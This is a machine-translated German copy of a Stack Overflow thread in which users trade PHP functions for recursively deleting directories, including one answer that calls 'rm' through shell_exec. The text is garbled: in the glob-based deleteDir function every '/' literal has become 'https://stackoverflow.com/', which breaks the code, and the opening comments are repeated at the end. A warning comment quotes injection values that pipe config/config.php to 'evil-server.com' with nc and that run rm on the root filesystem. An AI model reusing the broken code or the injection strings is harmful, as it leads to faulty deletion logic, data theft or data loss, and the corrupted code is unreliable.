Eine rekursive Funktion zum Entfernen von Verzeichnissen für PHP?
Lesezeit: 5 Minuten
rhodesjason
Ich verwende PHP, um den Inhalt eines Bilder-Unterordners zu verschieben
Galeriename/Bilder/
in einen anderen Ordner. Nach dem Umzug muss ich das GalleryName-Verzeichnis löschen und alles andere darin.
ich weiß das rmdir() funktioniert nur, wenn das Verzeichnis leer ist. Ich habe eine Weile damit verbracht, eine rekursive Funktion zu erstellen scandir() von oben anfangen und dann unlink() wenn es eine Datei ist und scandir() wenn es ein Verzeichnis ist, dann rmdir() jedes leere Verzeichnis, während ich gehe.
Bisher funktioniert es nicht ganz richtig, und ich begann zu denken — Ist das nicht eine lächerlich einfache Funktion, die PHP können sollte? Verzeichnis entfernen?
Gibt es also etwas, was ich vermisse? Oder gibt es zumindest eine bewährte Funktion, die Menschen für diese Aktion verwenden?
Jede Hilfe wäre willkommen.
PS: Ich vertraue Ihnen allen hier mehr als den Kommentaren auf der php.net-Site – dort gibt es Hunderte von Funktionen, aber ich bin daran interessiert zu hören, ob einer von Ihnen hier eine gegenüber anderen empfiehlt.
Haben Sie die Funktion shell_exec() mit einem ‘rm -fr’ in Betracht gezogen? Nicht der beste Ansatz, aber wenn Sie jetzt wissen, was Sie tun, funktioniert es gut.
– rogeriopvl
10. September 2009 um 20:03 Uhr
@rogeriopvl sehr gefährlich, aber wenn Sie Shell-Escape- und echte Pfadfunktionen verwenden müssen
– MADforFUNandHappy
12. Juni 19 um 19:06 Uhr
barbusin
Was ist damit?
function rmdir_recursive($dirPath){
if(!empty($dirPath) && is_dir($dirPath) ){
$dirObj= new RecursiveDirectoryIterator($dirPath, RecursiveDirectoryIterator::SKIP_DOTS); //upper dirs not included,otherwise DISASTER HAPPENS :)
$files = new RecursiveIteratorIterator($dirObj, RecursiveIteratorIterator::CHILD_FIRST);
foreach ($files as $path)
$path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname());
rmdir($dirPath);
return true;
}
return false;
}
+1 für den kürzesten Code und wahrscheinlich die beste und am schnellsten funktionierende Lösung 🙂
– tftd
24. April 13 um 16:45 Uhr
Schön, vergessen Sie nicht, rmdir($dirPath) nach foreach hinzuzufügen, sonst werden nur Dateien gelöscht.
– Ameise
7. Oktober 13 um 2:06 Uhr
@Cooluhuru rmdir()-Aufruf hinzugefügt. Danke!
– Barbusin
7. Oktober 13 um 14:02 Uhr
$path->isFile() ? unlink($path->getPathname()) : rmdir($path->getPathname()); sollte sein $path->isDir() ? rmdir($path->getPathname()) : unlink($path->getPathname()); Links werden also behandelt.
– mattalxndr
16. April 14 um 18:41 Uhr
Scheint die beste Lösung zu sein, da es anscheinend auf jedem Betriebssystem funktioniert.
– Francisco Luz
17. Januar 15 um 2:49 Uhr
rhodesjason
Dies ist die rekursive Funktion, die ich erstellt/modifiziert habe und die endlich zu funktionieren scheint. Hoffentlich ist nichts zu Gefährliches drin.
function destroy_dir($dir) {
if (!is_dir($dir) || is_link($dir)) return unlink($dir);
foreach (scandir($dir) as $file) {
if ($file == '.' || $file == '..') continue;
if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) {
chmod($dir . DIRECTORY_SEPARATOR . $file, 0777);
if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) return false;
};
}
return rmdir($dir);
}
Diese Funktion ist gefährlich, statt $item sollte $file stehen!
– Johndodo
16. September 11 um 17:24 Uhr
Valentoni
Wenn auf dem Anwendungsserver Linux ausgeführt wird, verwenden Sie einfach die Funktion shell_exec() und geben Sie den Befehl rm -R wie folgt ein:
$realPath = realpath($dir_path);
if($realPath === FALSE){
throw new Exception('Directory does not exist');
}
shell_exec("rm ". escapeshellarg($realPath) ." -R");
Erläuterung:
Entfernt das angegebene Verzeichnis nur dann rekursiv, wenn der Pfad vorhanden ist, und maskiert den Pfad, sodass er nur als Shell-Argument verwendet werden kann, um das Einfügen von Shell-Befehlen zu vermeiden.
Wenn Sie nicht verwenden würden escapeshellarg Man könnte Befehle ausführen, indem man das zu entfernende Verzeichnis nach einem Befehl benennt.
je nachdem wo $dir_path kommt, könnten Sie ein sehr großes Sicherheitsproblem einführen. Angenommen, ich irgendwie eingestellt $dir_path = "-F --no-preserve-root /"; oder vielleicht nur $dir_path = "; cat config/config.php | nc evil-server.com 80 ;"; Nun, die Möglichkeiten sind endlos.
– amenthes
26. September 16 um 21:49 Uhr
@amenthes ja, aber Sie könnten $dir_path in realpath() einschließen, um dies zu vermeiden
– MADforFUNandHappy
22. April 19 um 15:10 Uhr
Man könnte, aber das obige Beispiel tut es nicht. Und so wie es jetzt aussieht, ist es ein gefährlicher Ratschlag. Diese Antwort wurde zum Zeitpunkt des Schreibens 32.000 Mal aufgerufen. Wenn nur 0,1 % dies wörtlich in der falschen Situation kopiert haben, sind das 32 Personen mit einem klaffenden Sicherheitsproblem.
– amenthes
22. April 19 um 22:13 Uhr
Ich habe eine Funktion angepasst, die versteckte Unix-Dateien mit dem Punktpräfix behandelt und glob verwendet:
public static function deleteDir($path) {
if (!is_dir($path)) {
throw new InvalidArgumentException("$path is not a directory");
}
if (substr($path, strlen($path) - 1, 1) != "https://stackoverflow.com/") {
$path .= "https://stackoverflow.com/";
}
$dotfiles = glob($path . '.*', GLOB_MARK);
$files = glob($path . '*', GLOB_MARK);
$files = array_merge($files, $dotfiles);
foreach ($files as $file) {
if (basename($file) == '.' || basename($file) == '..') {
continue;
} else if (is_dir($file)) {
self::deleteDir($file);
} else {
unlink($file);
}
}
rmdir($path);
}
David Newcomb
Hier gibt es einen anderen Thread mit weiteren Beispielen: Wie lösche ich rekursiv ein Verzeichnis und seinen gesamten Inhalt (Dateien + Unterverzeichnisse) in PHP?
Wenn Sie Yii verwenden, können Sie es dem Framework überlassen:
Haben Sie die Funktion shell_exec() mit einem ‘rm -fr’ in Betracht gezogen? Nicht der beste Ansatz, aber wenn Sie jetzt wissen, was Sie tun, funktioniert es gut.
– rogeriopvl
10. September 2009 um 20:03 Uhr
@rogeriopvl sehr gefährlich, aber wenn Sie Shell-Escape- und echte Pfadfunktionen verwenden müssen
– MADforFUNandHappy
12. Juni 19 um 19:06 Uhr